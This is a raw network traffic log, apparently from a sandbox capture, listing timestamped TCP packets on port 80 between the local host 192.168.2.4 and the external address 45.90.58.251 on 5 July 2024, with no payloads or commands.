Jul 5, 2024 07:48:38.758301020 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.758308887 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758330107 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758338928 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.758502960 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758539915 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.758615017 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758625031 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758656979 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.758693933 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758739948 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758749008 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758775949 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759068012 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759108067 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759145021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759155035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759197950 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759279966 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759361982 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759371042 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759407997 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759542942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759581089 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759608030 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759615898 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759660959 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759675026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759685040 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759692907 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759711981 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759769917 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759804964 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759886026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759895086 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.759926081 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.759947062 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.762399912 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.762447119 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.762471914 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.762481928 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.762520075 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.762650013 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.762660027 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.762691021 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.863529921 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.863693953 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.863703966 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.863713026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.863852024 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.866616011 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.866662025 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.866672039 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.866712093 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.866811991 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.866822004 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.866830111 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.866858959 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.866868973 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.867065907 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.867077112 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.867084980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.867095947 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.867105961 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.867111921 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.867132902 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.869610071 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.869657040 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.869672060 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.869680882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.869723082 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.869725943 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.869782925 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.869822025 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.869842052 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.869926929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.869968891 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.869971037 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.870656013 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.870697975 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.870708942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.870771885 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.870780945 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.870846987 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.871326923 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.871366024 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.871464968 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.871473074 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.871489048 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.871498108 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.871501923 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.871505976 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.871510983 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.871525049 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.871553898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.872734070 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.872809887 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.872819901 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.872850895 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.983076096 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983269930 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983279943 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983289003 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983299017 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983309984 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983319998 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983336926 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.983366966 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.983429909 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983439922 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983448982 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983472109 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.983483076 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.983499050 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983509064 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983517885 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983527899 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983537912 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983537912 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.983547926 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983561993 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.983592033 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.983942986 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983953953 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983962059 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.983984947 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.984076977 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984086037 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984096050 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984114885 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.984138012 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.984287977 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984297037 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984307051 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984317064 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984328985 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984334946 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.984350920 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.984527111 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984539032 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984549046 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984575033 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.984591007 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.984699011 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984708071 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.984741926 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086085081 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086119890 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086136103 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086157084 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086242914 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086252928 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086262941 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086272955 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086282969 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086302042 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086443901 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086456060 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086464882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086479902 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086507082 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086564064 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086574078 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086581945 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086592913 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086613894 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086625099 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086802959 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086822033 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086832047 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086839914 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086852074 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086860895 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086868048 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086870909 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086880922 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.086888075 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086900949 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.086914062 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.087624073 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087632895 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087641954 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087651014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087665081 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.087702990 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.087729931 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087740898 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087748051 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087755919 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087765932 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087773085 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.087775946 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087781906 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.087785959 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087796926 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087805986 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087809086 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.087815046 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087825060 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.087840080 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.087861061 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.192650080 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.192677021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.192688942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.192739964 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.192832947 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.192843914 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.192853928 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.192863941 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.192883015 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.192909002 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193103075 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193114042 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193123102 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193135023 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193145990 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193147898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193159103 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193191051 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193273067 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193284035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193322897 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193454027 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193464041 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193474054 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193483114 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193495035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193504095 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193516016 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193520069 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193532944 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193536997 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193552017 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193581104 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193758011 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193797112 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193808079 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193818092 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193836927 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193851948 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193943977 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193952084 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193960905 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193970919 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.193988085 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.193999052 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.194144011 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.194153070 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.194161892 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.194171906 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.194191933 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.194202900 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.430661917 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430675983 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430687904 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430758953 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.430767059 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430778027 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430787086 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430798054 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430815935 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.430838108 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.430883884 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430895090 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430905104 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430918932 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.430926085 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.430959940 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431109905 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431121111 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431140900 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431150913 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431157112 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431160927 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431170940 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431179047 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431181908 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431193113 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431202888 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431210995 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431220055 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431222916 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431248903 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431269884 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431617022 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431627035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431634903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431643963 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431653976 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431664944 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431667089 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431674957 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431684971 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431688070 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431694984 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431705952 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431715965 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431716919 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431725979 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431735039 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431746006 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.431746006 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431760073 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.431781054 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.432212114 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432221889 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432230949 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432241917 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432251930 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432261944 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432265043 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.432272911 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432281017 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432291985 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432296991 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.432301998 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432312965 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432317972 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.432327032 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432337999 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432341099 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.432348013 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432356119 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.432358027 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432368994 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432378054 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432382107 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.432389021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432398081 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.432414055 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.432430983 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433051109 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433062077 CEST	80	63880	45.90.58.251	192.168.2.4
